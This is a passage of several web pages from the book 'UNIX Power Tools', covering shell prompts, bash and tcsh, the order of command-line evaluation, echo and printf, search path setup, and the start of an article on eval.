${USER}@${HOST} `dirs`\\
\! % "'
alias cd  'chdir \!* && setprompt'
alias pushd  'pushd \!* && setprompt'
alias popd  'popd  \!* && setprompt'
setprompt   # SET THE INITIAL PROMPT

Because bash can run a command each time it sets its prompt, and because it has built-in prompt operators (7.4), the bash version of all the stuff above fits on one line:

$(...)
PS1='\n\u@\h $(dirs)\n\! \$ '

That makes a blank line before each prompt; if you don't want that, join the first and second lines of the setprompt alias or remove the first \n. Let's push a couple of directories and watch the prompt:

jerry@ora ~
1 % pushd /work/src/perl
/work/src/perl ~

jerry@ora /work/src/perl ~
2 % cd ../cnews

jerry@ora /work/src/cnews ~
3 % pushd ~/bin
~/bin /work/src/cnews ~

jerry@ora ~/bin /work/src/cnews ~
4 %

Warning! Of course, the prompt looks a little redundant there because each pushd command also shows the dirs output. A few commands later, though, having your directory stack in the prompt will be handy. If your directory stack has a lot of entries, the first line of the prompt can get wider than the screen. In that case, store the dirs output in a shell array (47.5) and edit it with a command like sed or with the built-in csh string editing (9.6).

For example, to show just the tail of each path in the dirs output, use the alias below; the C shell operator :gt globally edits all words, to the tail of each pathname:

alias setprompt 'set dirs=(`dirs`); set prompt="\\
${USER}@${HOST} $dirs:gt\\
\! % "'

Watch the prompt. If you forget what the names in the prompt mean, just type dirs:

jerry@ora bin cnews jerry
5 % pushd ~/tmp/test
~/tmp/test ~/bin /work/src/cnews ~
   ...
jerry@ora test bin cnews jerry
12 % dirs
~/tmp/test ~/bin /work/src/cnews ~

There's a related tip in article 47.5: storing the directory stack in an array variable.

- JP

Previous: 7.10 What Good Is a Blank Shell Prompt? | UNIX Power Tools | Next: 7.12 External Commands Send Signals to Set Variables
7.10 What Good Is a Blank Shell Prompt? | Book Index | 7.12 External Commands Send Signals to Set Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.12 External Commands Send Signals to Set Variables

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.11 dirs in Your Prompt: Better than $cwd Chapter 7
Setting Your Shell Prompt 		Next: 7.13 Pre-Prompt Commands in bash

7.12 External Commands Send Signals to Set Variables

The Bourne shell's trap (44.12) will run one or more commands when the shell gets a signal (38.8) (usually, from the kill command). The shell will run any command, including commands that set shell variables. For instance, the shell could re-read a configuration file; article 38.11 shows that. Or it could set a new PS1 prompt variable that's updated any time an external command (like another shell script or a cron job (40.12)) sends the shell a signal. There are lots of possibilities.

This trick takes over signal 5, which usually isn't used. When the shell gets signal 5, a trap runs a command to get the date and time, then resets the prompt. A background (1.27) job springs this trap once a minute. So, every minute, after you type any command, your prompt will change.

You could run any command: count the number of users, show the load average (39.7), whatever. And newer shells, like bash, can run a command in backquotes (9.16) each time the prompt is displayed - article 7.8 has an example. But, to have an external command update a shell variable at any random time, this trap trick is still the best.

Now on to the specific example of putting date and time in the old Bourne shell's prompt. If your system's date command doesn't understand date formats (like +%a), get one that does - like the version on the CD-ROM (51.10). Put these lines in your .profile file (or just type them in at a Bourne shell prompt):

# Put date and time in prompt; update every 60 seconds:
trap 'PS1=`date "+%a %D %H:%M%n"`\
$\ ' 5
while :
do
    sleep 60
    kill -5 $$
done &
promptpid=$!

Now, every minute after you type a command, your prompt will change:

Mon 02/17/92 08:59
$ cc bigprog.c
undefined symbol                first referenced in file
xputc                               bigprog.o
ld fatal: Symbol referencing errors.
Mon 02/17/92 08:59
$ ls
bigprog.c
bigprog.o
Mon 02/17/92 09:00
$

The prompt format is up to you. This example makes a two-line prompt (7.5), with backslashes (\) to protect the newline and space from the trap; a single-line prompt might be easier to design. The manual page for date lists what you can put in the prompt.

This setup starts a while loop (44.10) in the background. The promptpid variable holds the process ID number (38.3) of the background shell. Before you log out, you should kill (38.10) the loop. You can type the command:

kill $promptpid

at a prompt or put it in a file that's executed when you log out (3.2).

- JP

Previous: 7.11 dirs in Your Prompt: Better than $cwd | UNIX Power Tools | Next: 7.13 Pre-Prompt Commands in bash
7.11 dirs in Your Prompt: Better than $cwd | Book Index | 7.13 Pre-Prompt Commands in bash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.13 Pre-Prompt Commands in bash

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.12 External Commands Send Signals to Set Variables Chapter 7
Setting Your Shell Prompt 		Next: II. Let the Computer Do the Dirty Work

7.13 Pre-Prompt Commands in bash

bash can run a UNIX command, or multiple commands, before it prints every prompt. This command does not have to set the prompt; it just happens to be run before each prompt is printed. The command could do some system checking, reset shell variables, or almost anything that you could type at a shell prompt. Store the command(s) in the PROMPT_COMMAND shell variable. If the commands run slowly, though, they'll delay your prompt.

Here's a silly example that I used to have in my bash setup file (2.2):

IFS

set smiley

shift $#

PROMPT_COMMAND='
# Save old $IFS; set IFS to tab:
OIFS="$IFS"; IFS="   "
# Put x in $1, face in $2, explanation[s] in $3[, $4, ...]:
set x `smiley`
# Put face into $face and explanation(s) into $explan:
face="$2"; shift 2; explan="$*"
# Restore shell environment:
shift $#; IFS="$OIFS"'

# Prompt I use (includes the latest $face):
PS1='\u@\h $face '

The first part is a series of shell commands that are stored in the PROMPT_COMMAND variable; they're surrounded by a pair of single quotes (' '), one on the first line (after the =) and the other after IFS is reset. That series of commands is executed before every prompt. It sets two shell variables, $face and $explan, with new values before each prompt is set. The prompt is set on the last line; it includes the value of $face.

Here's what my screen looked like with this ridiculous setup. Notice that the prompt keeps changing as the PROMPT_COMMAND resets $face and $explan. If I wanted the explanation of a face I saw as I went along, I could type echo <">$explan<">:

jerry@ruby :-{) echo "$explan"
normal smiling face with a moustache
jerry@ruby +<||-) vi proj.cc
   ...
jerry@ruby :-O echo "$explan"
Mr. Bill
        Wow!
        ohh, big mouth, Mick Jagger
        uh oh
jerry@ruby :-)   < g++ -Wall proj.cc
   ...

(It was even more useless than psychoanalyze-pinhead (32.13), but it was fun while it lasted.) Seriously now, I'll say again: PROMPT_COMMAND does not have to be used to set a prompt. You can use it to run any commands. If the commands in PROMPT_COMMAND write to standard output or standard error, you'll see that text before the prompt.

- JP

Previous: 7.12 External Commands Send Signals to Set Variables | UNIX Power Tools | Next: II. Let the Computer Do the Dirty Work
7.12 External Commands Send Signals to Set Variables | Book Index | II. Let the Computer Do the Dirty Work
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] How the Shell Interprets What You Type

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: II. Let the Computer Do the Dirty Work Chapter 8 Next: 8.2 Introduction to bash

8. How the Shell Interprets What You Type

Contents:
What the Shell Does
Introduction to bash
Introduction to tcsh
Command Evaluation and Accidentally Overwriting Files
Command-Line Evaluation
Output Command-Line Arguments
Setting Your Search Path
A Directory for Commands You Shouldn't Run
Wildcards Inside of Aliases
eval: When You Need Another Chance
Which One Will bash Use?
Which One Will the C Shell Use?
Is It "2>&1 file" or "> file 2>&1"? Why?
Bourne Shell Quoting
Differences Between Bourne and C Shell Quoting
Quoting Handles Special Characters in Filenames
verbose and echo Variables Show Quoting
Here Documents
"Special" Characters and Operators
How Many Backslashes?

8.1 What the Shell Does

As we've said, the shell is just another program. It's responsible for interpreting the commands you type; there are four or five commonly used shells, and several other variants (1.8) kicking around.

Interpreting your commands might seem simple enough, but a lot of things happen between the time you press RETURN and the time the computer actually does what you want. The process of interpretation is very complex: the shell has to break the command into words, expand aliases (10.2), history operators (11.1), and shell and environment variables (6.8, 6.1). It also sets up standard input and output streams (13.1) and performs a lot of other tasks. Indeed, if a command looks right but doesn't work right, the cause is probably either:

  • File permissions are set incorrectly.

  • You don't understand how the shell is processing your command line.

I'd say that file permission problems are more common, but it's a close call. File permission problems are usually easy to understand, once you know what to look for, but the rules by which a shell interprets your command line are another thing altogether. Lest I scare you, we'll try to go slow with this material. Although it's difficult, understanding how the shell parses your commands is important to becoming a power user.

In this chapter, we'll look at how a UNIX shell interprets commands. The standard shells (the C shell, Bourne shell, and Korn shell) have similar interpretation rules. The C shell can be tricky at times, mostly because its behavior isn't as well defined as the others. However, there's nothing "magical" about these rules. Tomorrow morning, you may grab some new shell from the Net (52.9), and find out that it has a new and different way of interpreting commands. For better or worse, that's what UNIX is all about.

As part of this discussion, we'll cover quoting, which is the mechanism by which you can turn off the special meanings that the shell assigns to some characters. Quoting is an integral part of command-line processing; it allows you to control what the shell will do to your commands.

- ML

Previous: II. Let the Computer Do the Dirty Work | UNIX Power Tools | Next: 8.2 Introduction to bash
II. Let the Computer Do the Dirty Work | Book Index | 8.2 Introduction to bash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.2 Introduction to bash

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.1 What the Shell Does Chapter 8
How the Shell Interprets What You Type 		Next: 8.3 Introduction to tcsh

8.2 Introduction to bash

Until the early 1990s, most UNIX users worked interactively with the C shell or the Bourne shell. The Korn Shell, an extended Bourne shell, had been around since the mid '80s and was getting more popular. Since then, two freely available shells with even more features- tcsh (8.3) and bash-have been getting a lot of attention. This article introduces bash.

The "Bourne-again shell" (named with the usual punny FSF humor) comes from the Free Software Foundation. Although the name is a joke, the shell isn't! I've used UNIX shells for 15 years, and I was really impressed when I started to read about bash (in O'Reilly & Associates' Learning the bash Shell). Since then I've used bash as my login shell. The shell has a lot of features that ksh and csh (and especially sh!) don't, but I wouldn't call it "feeping creaturism." [1] Here are some of my favorite features:

[1] A term with a :-) you'll hear for "creeping featurism," which means bloating software with lots of little-used features.

  1. More than 60 shell variables (6.8). These let me get information I need for shell setup files (2.2) and also let me configure the shell to do what I want.

  2. I like to pack information into my shell prompt (7.5). (I haven't added the temperature in Rio de Janeiro yet, but I'm working on it. :-)) bash lets me run external UNIX commands, as well as shell commands, and update each prompt on-the-fly. It can also run UNIX or shell commands (and display the output if any) before each prompt is printed. For instance, bash can run a quick system check and put notes in my prompt (or the top of the window) to warn me about problems, count the current users, tell me who's just logged in (and out), etc., etc.

  3. bash has both vi and Emacs command-line editing (11.13). But it also has the original C shell history substitution (11.7). There are plenty of times when a short expression like ^k (or even !lpr:gs/2/3) is faster than cursoring up and over to edit a previous command line. bash lets me choose.

  4. I stick to the Bourne Shell for any programs I distribute to other users: not enough people have bash yet. But it does have some very nice features for scripts and shell functions of my own - like powerful string-manipulation operators, file tests, and built-in integer arithmetic.

bash
bash is constantly being updated. The edition on the CD-ROM will probably be a little out of date by the time you get it. If you want a few more features, a few bug fixes (and, maybe, a few new bugs too), check a GNU archive on the Net for the latest version.

- JP

Previous: 8.1 What the Shell Does | UNIX Power Tools | Next: 8.3 Introduction to tcsh
8.1 What the Shell Does | Book Index | 8.3 Introduction to tcsh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.3 Introduction to tcsh

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.2 Introduction to bash Chapter 8
How the Shell Interprets What You Type 		Next: 8.4 Command Evaluation and Accidentally Overwriting Files

8.3 Introduction to tcsh

Article 8.2 introduces bash and talks about shells that came before it. A lot of shell users prefer tcsh. It's like the C shell, but tcsh has added plenty of useful features and also fixed some notorious C shell bugs (47.2). In fact, tcsh is so much like csh (except for those ugly bugs) that when we say "the C shell" or csh in this book, we're also talking about tcsh.

In general, tcsh has a lot of the same features as bash. So I won't repeat the list from article 8.2. Instead, here are a few differences (from the point of view of a casual tcsh user like me, that is).

  • My favorite tcsh feature confirms a command like the one below. I meant to type rm *.c:

    % rm * .c
Do you really want to delete all files? [n/y] n

    In my opinion, tcsh keeps a better watch over the command line than bash does.

  • My dyslexic fingers also like the automatic command name correction. In the next example, I type srot. Instead of saying Command not found, tcsh asks if I meant sort:

    % who | srot +3n +4

CORRECT>who | sort +3n +4 (y|n|e|a)? y
kim            pts/0        Jul 27 14:40  (rock.ny.ora.com)
jpeek          pts/1        Jul 28 08:09  (jpeek.com)
    ...

  • Like csh, tcsh has arrays (47.5). I find these really useful, both interactively and in shell programs. (bash won't have them until version 2.0.)

  • On the downside, the shell variables - including prompts, and their setting - seem less flexible in tcsh. For example, resetting the prompt (except nice built-ins like %c2, which gives the last two parts of the current directory path) requires setting aliases.

tcsh
 If you've used csh before, and you type more than a few commands a day on UNIX, check out tcsh. It's on the CD-ROM.

- JP

Previous: 8.2 Introduction to bash | UNIX Power Tools | Next: 8.4 Command Evaluation and Accidentally Overwriting Files
8.2 Introduction to bash | Book Index | 8.4 Command Evaluation and Accidentally Overwriting Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.4 Command Evaluation and Accidentally Overwriting Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.3 Introduction to tcsh Chapter 8
How the Shell Interprets What You Type 		Next: 8.5 Command-Line Evaluation

8.4 Command Evaluation and Accidentally Overwriting Files

Before getting into the details of command interpretation, I thought I'd give a very simple example of why it's important. Here's an error that occurs all the time. Let's say you have two files, called file1 and file2. You want to create a new version of file1 that has file2 added to the end of it. That's what cat is all about, so you give the command:

% cat file1 file2 > file1                  ...wrong

This looks like it should work. If you've ever tried it, you know it doesn't; it erases file1, and then dumps file2 into it. Why? The shell (not cat) handles standard input and output.

  • As the shell is processing the command, it sees that you're redirecting standard output into file1, so it opens the file for writing, destroying the data that's already in it.

  • Later, after it's finished interpreting the command line, the shell executes cat, passing file1 and file2 as arguments. But file1 is already empty.

  • cat reads file1 (which is empty) and writes it on standard output (which goes into file1).

  • cat reads file2 (which also goes into file1). At this point, cat is finished, so it exits.

file1 and file2 are identical, which isn't what you wanted. But it's what you got.

Some versions of cat give you a warning message in this situation (cat: input file1 is output). This might lead you to believe that somehow cat was smart and managed to protect you. Sadly, that's not true. By the time cat figures out that an input file and an output file are the same, it's too late: file1 is already gone. This bit of catty cleverness does have a function, though: it prevents commands like:

% cat file1 file2 >> file2

from creating infinitely long files.

- ML

Previous: 8.3 Introduction to tcsh | UNIX Power Tools | Next: 8.5 Command-Line Evaluation
8.3 Introduction to tcsh | Book Index | 8.5 Command-Line Evaluation
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.5 Command-Line Evaluation

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.4 Command Evaluation and Accidentally Overwriting Files Chapter 8
How the Shell Interprets What You Type 		Next: 8.6 Output Command-Line Arguments

8.5 Command-Line Evaluation

With all the different substitution mechanisms available in the C shell, it's important to know which take precedence. Here's the order in which the C shell interprets the command line:

  1. History substitution

  2. Splitting words (including special characters)

  3. Updating the history list

  4. Interpreting single quotes (') and double quotes (")

  5. Alias substitution

  6. Redirection of input and output ( e.g., >, <, and |)

  7. Variable substitution

  8. Command substitution

  9. Filename expansion

(The Bourne shell is essentially the same, except that it doesn't perform history substitution or alias substitution.)

History substitutions are always done first. That's why quotes won't protect a ! from the shell; the shell sees the exclamation point and substitutes a command from the history before it's even thought about the quotation marks. To prevent history substitution, you need to use a backslash (8.15).

Let's work through a simple command line that uses several of these features. Nothing in this command line will be difficult, but it will give you a feeling for what we mean by saying that "the shell performs variable substitution after alias substitution." Here's the command line; it has both space and TAB characters:

% ls -l    $HOME/* |     grep "Mar  7"

And here's what happens:

  1. There are no history operators, so history substitution (11.2) doesn't happen. (The Bourne shell wouldn't perform this step.)

  2. The command line is split into separate "words" at the whitespace characters. The words are ls, -l, $HOME/*, |, grep, and "Mar  7". The shell ignores the amount of whitespace (spaces and TABs) between different words in a command line. Any unquoted whitespace creates a new word. The shell doesn't do anything special with options (like -l). Options are passed to the command being run, just like any other word; [2] the command decides how to interpret them. Also, note that quotes (8.14) prevent the shell from splitting "Mar  7" into two words or eating the two spaces - even though quote interpretation comes later. [3] At this point, the command line looks like this:

    [2] The convention of starting options with a dash (-) is just that: a convention. Although option handling is being standardized (44.18), each command can interpret its options any way it wants to.

    [3] In an ls -l listing, dates less than 10 have two spaces before them (they're printed in a field 2 characters wide).

    ls -l $HOME/* | grep "Mar  7"

  3. The shell sticks the command line onto the history list. The Bourne shell wouldn't perform this step, either.

  4. The shell recognizes the double quotes around "Mar  7" and notes that wildcard expansion (yet to come) shouldn't take place inside the quotes.

  5. The shell checks whether or not ls or grep are aliases (10.2). They could be, but we're assuming they aren't.

  6. The shell notices the |, and does whatever's required (13.1) to set up a pipeline.

  7. The shell notices the environment variable (6.1) $HOME, and replaces this variable with its value (/home/mikel). At this point, the command line looks like:

    ls -l /home/mikel/* | grep "Mar  7"

  8. The shell looks for backquotes (9.16), executes any command inside the backquotes, and inserts its output on the command line. In this case, there's nothing to do. (If there are wildcards or variables inside the backquotes, they aren't interpreted before the shell runs the command inside the backquotes.)

  9. The shell looks for wildcards (1.16). In this case, it sees the * and expands the filename accordingly, leaving something like this:

    ls -l /home/mikel/ax ... /home/mikel/zip | grep "Mar  7"

  10. The shell executes the ls command, executes the grep command, with the aforementioned pipe sending the ls output into grep's input.

One character you'll see often on command lines is ; (semicolon). It's used as a command separator: type one complete command line - then, instead of pressing RETURN, type a semicolon and another complete command line. Chaining commands with semicolons is especially useful in subshells (13.7), aliases, and lists (13.8)- this book has lots of examples - in articles 40.2 and 10.2, for instance. There's more about command-line interpretation in the articles on wildcards inside aliases (8.9), eval (8.10), conditional execution (44.9), and many others. [For some nitty-gritty details about the C shell that are fun, too, I recommend Chris Torek's article 8.12. -JP ]

- DG, ML

Previous: 8.4 Command Evaluation and Accidentally Overwriting Files | UNIX Power Tools | Next: 8.6 Output Command-Line Arguments
8.4 Command Evaluation and Accidentally Overwriting Files | Book Index | 8.6 Output Command-Line Arguments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.6 Output Command-Line Arguments

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.5 Command-Line Evaluation Chapter 8
How the Shell Interprets What You Type 		Next: 8.7 Setting Your Search Path

8.6 Output Command-Line Arguments

The echo command writes its command-line arguments and a newline to the standard output. Shell scripts use echo for sending text to the terminal, down a pipe, and into a file. You can use echo on the command line to show the value of a variable (6.1, 6.8), to see how filename wildcards will expand without doing anything else to those files, or to check quoting (46.2):

% echo "USER is $USER."
USER is jerry.
% echo "All 'a' files are:    " a*
All 'a' files are:     abacus apple axes

The printf command gives you more formatting control.

8.6.1 Portability

The C shell and most other newer shells have a version of echo that's built in (1.10) so it's faster.

The original echo, and the csh echo which acts like it, have just one option. The -n option tells echo not to print a newline after the message. Shell scripts use -n to send a question to a user and leave the cursor at the end of the message:

echo -n "Enter your name: "

(The space at the end makes the prompt look better. The quotes make the shell pass that space on to echo.)

Newer versions of echo check their arguments for a backslash (\). This marks the start of an escape sequence, a character that the backslash and the next letter stand for. For example, when these newer echos see \n, they print a newline character:

$ echo "1.\n2.\n3."
1.
2.
3.
$

In this version of echo, a \c at the end of the last argument suppresses the newline - like the -n option does in the other echo:

echo "Enter your name: \c"

Your online echo (or csh) manual page should tell you which version you have and list any escape sequences.

The problem with this newer echo is that it's tough to echo an arbitrary string that might have a backslash in it. Chris Torek has a workaround: use a here-document (8.18) and cat (25.2) instead of echo. For example:

cat << END
The answer is: $variable-whose-value-might-contain-backslashes
END

bash users are lucky: That shell's echo has a -e option that enables backslash interpretation, and a -E option that disables it.

printf
 Another utility called printf works like the printf(3) routine in the C language; it handles escape sequences, lets you set field widths, and more. (The GNU version is on the CD-ROM.) Here's an example. The wc command gives the number of lines, words, and characters in a file, followed by the filename. We pass those four fields in the wc output to the printf command line with backquotes (9.16). (If you need a reminder of wc's output, see article 29.6.) printf takes a formatting command from its first argument. It outputs the fourth argument after that (%4$s, the filename); the number of words from the second argument, in a field five wide with leading zeroes (%2$05s); and the number of lines from the first argument (%1$s); with a newline (\n) to finish the line:

$ printf 'The %4$s file has %2$05s words on %1$s lines.\n' `wc count`
The count file has 00235 words on 42 lines.

Because printf isn't built into any shells I know of, it's more portable than the crazy set of echos. If we had printf and the old echo, life would be easier. Article 46.10 shows a way to make echo portable.

The C shell echo works differently from other versions. For example, to make an empty line with the standard echo, don't give any arguments. (This is usually done for readability - to put blank lines between other output.) Standard echo will just print a newline:

$ echo

$

Without arguments, the C shell echo doesn't print the newline. To get a newline, you have to give an empty argument:

% echo ""

%

To use the standard echo from the C shell, type /bin/echo instead.

8.6.2 Making Error Messages

echo writes to standard output. Error messages in shell scripts should be written to the standard error so that redirection (13.1) of standard output doesn't accidentally capture the message. The Bourne shell 1>&2 operator (45.21) will move echo's output to standard error:

echo "progname: choke wheeze complain" 1>&2

The C shell can't do that - which is another reason not to write shell scripts with csh (47.2).

- JP

Previous: 8.5 Command-Line Evaluation | UNIX Power Tools | Next: 8.7 Setting Your Search Path
8.5 Command-Line Evaluation | Book Index | 8.7 Setting Your Search Path
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.7 Setting Your Search Path

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.6 Output Command-Line Arguments Chapter 8
How the Shell Interprets What You Type 		Next: 8.8 A Directory for Commands You Shouldn't Run

8.7 Setting Your Search Path

Your search path (6.4, 6.5) controls what directories - and in what order - the shell searches for external (1.10) commands. You can set a search path that takes effect every time you log in by editing your shell setup file (2.2). You might also want to change the path temporarily.

8.7.1 Setting Path in Shell Setup Files

To change the "default" search path used every time you log in, edit the PATH=... line in your .profile file or the set path=(...) line in your .cshrc or .login file.

Add the absolute pathname (14.2) of the directory to the path. You have a choice:

  • You can put the directory at the end of your path. (I think that's the best idea unless you know exactly what you're doing.) Then, commands in the directories you add will be used only if they have unique names that aren't found anywhere else in the path. You can check that with a command like which (50.8).

  • If you put the pathname close to the start of the path, before standard system directories like /bin, then commands in the directory you add will be used instead of system commands with the same name. That lets you replace commands that don't work the way you want with your own version. For instance, if you had the cal script that marks today's date (48.7) in your bin (4.2), it would be used instead of the system cal (48.6).

    If you set your path this way, you should be especially careful not to accidentally give some random program the same name as a system command - article 44.21 explains how to check for that. Also, be sure to make the directory unwritable by other users (with chmod go-w)-so they can't add malicious programs with the same names as system utilities.

CAUTION: Installing your own version of standard system commands (like ls or rm) at the front of your path has a serious consequence. Many system programs and shell scripts will call a program like ls and expect it to work just like the default system version of that program. If you install a version at the front of your search path that behaves differently, that can cause serious problems for an unsuspecting program. For example, you might install a version of rm that writes messages to standard output like "Do you want to remove this file?" and reads your answer from standard input. The standard system rm command won't prompt if its standard input isn't a terminal. If your custom rm doesn't work the same way as the system rm, other programs that call rm can mysteriously lock up while they wait (forever) for your private rm to get an answer to its prompt. If you want to replace a system command, it's better to give your version a different name.

When you log in, as your shell starts, before your setup files are read, your system probably has already set a default search path for you. Your system administrator can change that path. If your system has a default path, you should think about using it as part of your path - ask your administrator. To do that, include the variable $PATH or $path as you set your path. For example, to add your bin directory at the end of the system path, use one of the following lines: [4]

[4] There's a small problem with this if you set your path in your .cshrc or ksh ENV file. Each time you start a subshell (38.4), your bin directory will be added to the path again. That won't cause any errors but it will make the path longer than it needs to be. If you want to work around this, use an environment variable like ENV_SET (2.7) as a flag - and set the path only if ENV_SET isn't set.

set path=($path ~/bin)                 C shell

PATH=$PATH:$HOME/bin                   Bourne shell

For Bourne-type shells, load the updated PATH by typing a command like:

$ . .profile

For the C shell, type one of these commands, depending on which file you changed:

% source .cshrc
% source .login

8.7.2 Changing Path on the Command Line

As you work, you might need to add a directory to your path temporarily. For example, when I develop new versions of existing programs, I put them in a separate directory named something like alpha-test. I don't usually want to run the alpha-test commands - but when I do, I add the alpha-test directory to the front of my path temporarily. (It's handy to set the new path in a subshell (38.4) so it won't change the path in my other shell.) Use the same path setting command you'd use in a shell setup file:

% set path=(~/xxx/alpha-test $path)      C shell

$ PATH=$HOME/xxx/alpha-test:$PATH        Bourne shell
$ export PATH

Article 8.8 shows another way to change your path: command-by-command instead of directory-by-directory.

- JP

Previous: 8.6 Output Command-Line Arguments | UNIX Power Tools | Next: 8.8 A Directory for Commands You Shouldn't Run
8.6 Output Command-Line Arguments | Book Index | 8.8 A Directory for Commands You Shouldn't Run
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.8 A Directory for Commands You Shouldn't Run

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.7 Setting Your Search Path Chapter 8
How the Shell Interprets What You Type 		Next: 8.9 Wildcards Inside of Aliases

8.8 A Directory for Commands You Shouldn't Run

How can you keep yourself from running some of the commands in a directory in your search path (6.4, 6.5)? For example, I use several different computers. I read and store my electronic mail (1.33) on just one computer - on that host, I want to use all the email commands. On the other computers, I want to be able to use mail-sending commands - but I don't want the mail-reading commands to work on my account there.

You might work on a project with shared filesystems where some commands will only work on certain computers. How can you stop the commands from being run accidentally on computers where they shouldn't be? There's a beginner on the system who shouldn't be running dangerous commands. How can you stop him from using just those commands?

You could make aliases (10.2) for those commands that just echo a message to the terminal. But having tens or hundreds of aliases like that can be a real headache.

Here's how I solved my problem. On all of my computers, the commands for the email system I use (called MH) are stored in the directory /usr/local/mh. I make a directory named no_run.hostname that has short shell scripts. The scripts have the same names as the the commands in /usr/local/mh that I don't want to run. On the computers where I don't want to run those commands, I put the no_run.hostname directory before the /usr/local/mh directory in my path:

switch

switch (`uname -n`)
case cruncher:
        set path=( ... ~/no_run.cruncher /usr/local/mh ... )
      ...

(A per-host setup file (2.13) can help, too.) When I try to use a command that I shouldn't, the shell will find the shell script in the no_run directory before the real command in the mh directory. The shell script rings the bell, prints a message with its own name and the name of the computer to use, then quits:

% inc
beep... You can't run inc here.  Use sunspot.

To save disk space, the shell scripts in the no_run directory are all hard links (18.4) to each other:

% ls -li no_run.cruncher
   ...
270156 -rwxr-xr-x 31 jerry          82 Jun 12 09:10 inc
270156 -rwxr-xr-x 31 jerry          82 Jun 12 09:10 mark
270156 -rwxr-xr-x 31 jerry          82 Jun 12 09:10 msgchk
   ...a total of 31 links...

The script uses the command basename $0 (45.18) to include its (current) command name with the warning message:

1

#! /bin/sh
echo "\007You can't run `basename $0` here.  Use sunspot." 1>&2
exit 1

The \007 rings the bell on my version of echo; your version might need a \a or a real CTRL-g character (45.35) instead. Article 16.15 shows a similar script.

- JP

Previous: 8.7 Setting Your Search Path | UNIX Power Tools | Next: 8.9 Wildcards Inside of Aliases
8.7 Setting Your Search Path | Book Index | 8.9 Wildcards Inside of Aliases
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.9 Wildcards Inside of Aliases

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.8 A Directory for Commands You Shouldn't Run Chapter 8
How the Shell Interprets What You Type 		Next: 8.10 eval: When You Need Another Chance

8.9 Wildcards Inside of Aliases

Here's another example in which command-line parsing is important. Consider this alias for counting the number of words in all files:

wc
% alias words "wc -w *"

Right away, we can see one effect of command-line parsing. The shell sees the quotation marks, and knows not to expand wildcards inside the quotation marks. Therefore, words is aliased to wc -w *; the * isn't evaluated when you create the alias. (If wildcards were processed before quotes, this won't work.)

Now, think about what happens when you execute the alias. You type:

% words

The shell starts working through its steps (8.5), and eventually performs alias substitution. When this happens, it converts your command into:

wc -w *

Now, watch carefully. The shell continues working through the process of interpretation (redirection, variable substitution, command substitution), and eventually gets to filename expansion. At this point, the shell sees the * on the command line, expands it, and substitutes the files in the current directory. Seems simple enough. But think: you didn't type this *; the shell put it there when it expanded the wildcard. What would have happened if the shell expanded wildcards before substituting aliases? The * would never have been expanded; by the time the shell put it on the command line, the wildcard expansion stage would be over, and you'd just count the words in a file named * (which probably doesn't exist).

To me, the amazing thing is that all this works - and works well! The workings of the command line are intricate and complex, but the shell almost always does what you want - and without a lot of thought.

- ML

Previous: 8.8 A Directory for Commands You Shouldn't Run | UNIX Power Tools | Next: 8.10 eval: When You Need Another Chance
8.8 A Directory for Commands You Shouldn't Run | Book Index | 8.10 eval: When You Need Another Chance
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.10 eval: When You Need Another Chance

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 8.9 Wildcards Inside of Aliases Chapter 8
How the Shell Interprets What You Type 		Next: 8.11 Which One Will bash Use?

8.10 eval: When You Need Another Chance

If you read the previous article (8.9), you saw that, most of the time, the shell evaluates the command line "in the right order." But what about when it doesn't? Here's a situation that the shell can't handle. It's admittedly contrived, but not too different from what you might find in a shell program (1.5):

% set b=\$a
% set a=foo
% echo $b
$a

When we use the variable $b, we'd like to get the variable $a, read it, and use its value. But that doesn't happen. Variable substitution happens once, and it isn't recursive. The value of $b is $a, and that's it. You don't go any further.

